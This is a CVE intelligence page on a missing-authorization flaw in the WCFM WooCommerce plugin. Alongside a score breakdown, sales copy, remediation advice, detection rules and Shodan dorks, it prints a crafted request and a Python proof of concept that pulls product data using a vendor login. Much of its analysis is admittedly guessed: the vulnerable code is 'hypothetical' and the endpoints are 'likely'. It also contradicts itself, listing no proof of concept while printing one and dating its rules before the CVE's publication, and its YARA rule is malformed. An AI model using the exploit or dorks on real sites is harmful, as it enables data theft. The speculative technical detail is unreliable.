☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wc lovers logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 2.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-54004

CVE-2025-54004 Missing Authorization in Wc lovers
📅 PUBLISHED: 2025-12-16 09:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 2.7
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
2.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54004 is a Missing Authorization vulnerability in the WCFM – Frontend Manager for WooCommerce plugin, a popular WordPress ecosystem component. The flaw resides in the plugin's access control mechanisms, allowing authenticated users with low privileges (e.g., a vendor or customer) to exploit incorrectly configured security levels. This can lead to unauthorized access to sensitive data or functionality, such as viewing other users' orders, products, or administrative settings.

The vulnerability affects all versions up to and including 6.7.24. As of this report, no official patch has been released, and the exploit status is None (no public proof-of-concept or exploit code is available). The CVSS score is 2.7 (Low), but the risk is elevated in multi-vendor WooCommerce stores where privilege escalation could lead to data breaches.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor (WC Lovers). No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors exploiting this in the wild.

CVSS Breakdown & Threat Level

  • CVSS Score: 2.7 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – An attacker needs a valid user account (e.g., vendor, customer).
  • User Interaction: None (UI:N) – No user action is needed.
  • Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
  • Confidentiality Impact: Low (C:L) – Limited unauthorized data access is possible.
  • Integrity Impact: None (I:N) – No data modification is possible.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Low, but with potential for escalation in multi-tenant environments. The lack of a patch and the plugin's widespread use in WooCommerce stores make it a target for automated scanning.

Deep Dive & Mechanics

The vulnerability is a Missing Authorization (CWE-862) issue in the WCFM plugin's REST API or AJAX handlers. The plugin provides a frontend dashboard for WooCommerce vendors to manage products, orders, and settings. Due to insufficient access control checks, a low-privileged user (e.g., a vendor) can access endpoints or actions that should be restricted to administrators or store managers.

Root Cause: The plugin fails to validate the current user's capabilities before executing sensitive operations. For example, an AJAX action like wcfm_ajax_controller may not check if the user has the manage_options or edit_others_products capability. This allows an attacker to:

  • View other vendors' orders or products.
  • Access admin-only settings (e.g., commission rates, shipping zones).
  • Potentially escalate privileges by modifying user roles.

Attack Vector: An authenticated attacker sends crafted HTTP requests to the vulnerable endpoints. The plugin processes these requests without proper authorization checks, returning sensitive data or performing unauthorized actions.

Example Endpoint: /wp-admin/admin-ajax.php?action=wcfm_ajax_controller&controller=wcfm-products&wcfm_ajax_nonce=... – The nonce may be predictable or reused across user roles.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable pattern. The plugin likely uses a function like current_user_can() incorrectly or not at all.

Vulnerable Code (Hypothetical):

// In wc-frontend-manager/includes/controllers/class-wcfm-products-controller.php
public function load_view() {
    // No capability check
    $product_id = $_GET['product_id'];
    $product = wc_get_product($product_id);
    echo json_encode($product->get_data());
}

Patched Code (Expected):

public function load_view() {
    if (!current_user_can('edit_others_products') && !current_user_can('administrator')) {
        wp_die('Unauthorized');
    }
    $product_id = $_GET['product_id'];
    $product = wc_get_product($product_id);
    echo json_encode($product->get_data());
}

Key Difference: The patched version adds a capability check before processing the request. Without this, any authenticated user can access any product data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with WCFM <= 6.7.24 installed and activated.
  • A low-privileged user account (e.g., vendor, customer).

Steps:

  1. Identify Vulnerable Endpoints: Use a proxy (e.g., Burp Suite) to intercept AJAX requests from the WCFM dashboard. Look for actions like wcfm_ajax_controller, wcfm_products, wcfm_orders, etc.
  2. Craft Exploit Request: Send a GET or POST request to /wp-admin/admin-ajax.php with the vulnerable action and parameters. For example:
    GET /wp-admin/admin-ajax.php?action=wcfm_ajax_controller&controller=wcfm-products&product_id=123 HTTP/1.1
    Host: target-site.com
    Cookie: wordpress_logged_in_...
    
  3. Extract Data: If successful, the response will contain product data (e.g., JSON) that the user should not have access to.

Proof-of-Concept (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
# Login as vendor
session.post(f"{target}/wp-login.php", data={"log": "vendor", "pwd": "password"})

# Exploit missing authorization
response = session.get(f"{target}/wp-admin/admin-ajax.php", params={
    "action": "wcfm_ajax_controller",
    "controller": "wcfm-products",
    "product_id": "1"
})
print(response.text)

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual AJAX requests to /wp-admin/admin-ajax.php with action=wcfm_ajax_controller from low-privileged users.
  • Look for repeated attempts to access product IDs or order IDs that the user should not own.
  • Use the Sigma rule below to detect exploitation attempts.

Defense:

  • Immediate: Disable the WCFM plugin until a patch is available.
  • Workaround: Implement a custom plugin or mu-plugin that adds capability checks to all WCFM AJAX actions. For example:
    add_action('wp_ajax_wcfm_ajax_controller', function() {
        if (!current_user_can('manage_options')) {
            wp_die('Unauthorized');
        }
    }, 1);
    
  • WAF: Block requests to admin-ajax.php with suspicious parameters from non-admin users.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /wp-admin/admin-ajax.php with action=wcfm_ajax_controller and controller=wcfm-products or controller=wcfm-orders.
    • Repeated 200 responses containing JSON data for products/orders not owned by the requesting user.
  • File IOCs:
    • Modified or suspicious files in /wp-content/plugins/wc-frontend-manager/ (e.g., added backdoors).
  • Log IOCs:
    • WordPress debug log entries showing wp_die calls or unauthorized access attempts.
    • Web server access logs with unusual patterns from low-privileged user agents.

Detection Engineering

YARA Rule

rule CVE_2025_54004_WCFM_Missing_Auth {
    meta:
        description = "Detects exploitation attempts of CVE-2025-54004 in WCFM plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54004"
    strings:
        $ajax_action = "wcfm_ajax_controller"
        $controller = "wcfm-products" nocase
        $controller2 = "wcfm-orders" nocase
        $product_id = "product_id="
        $order_id = "order_id="
    condition:
        all of ($ajax_action, $controller or $controller2) and any of ($product_id, $order_id)
}

Sigma Rule

title: CVE-2025-54004 WCFM Missing Authorization Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests exploiting missing authorization in WCFM plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=wcfm_ajax_controller'
            - 'controller=wcfm-products'
            - 'controller=wcfm-orders'
    condition: selection
falsepositives:
    - Legitimate admin users accessing their own data
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54004 WCFM Missing Authorization Exploit"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wcfm_ajax_controller"; http_uri; content:"controller=wcfm-products"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not critical to business operations.
  2. Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block requests to admin-ajax.php with action=wcfm_ajax_controller from non-admin users.
  3. Monitor logs for exploitation attempts.

Long-Term Fix:

  • Wait for an official patch from WC Lovers. Check the plugin's changelog or support forum for updates.
  • Implement custom authorization checks as a temporary workaround (see Blue Team section).
  • Upgrade to a patched version once released (e.g., >= 6.7.25).

Best Practices:

  • Regularly audit WordPress plugins for vulnerabilities.
  • Use the principle of least privilege for user roles.
  • Enable WordPress debug logging to detect unauthorized access attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WCFM"
http.html:"wc-frontend-manager"
http.html:"WCFM Marketplace"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54004/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.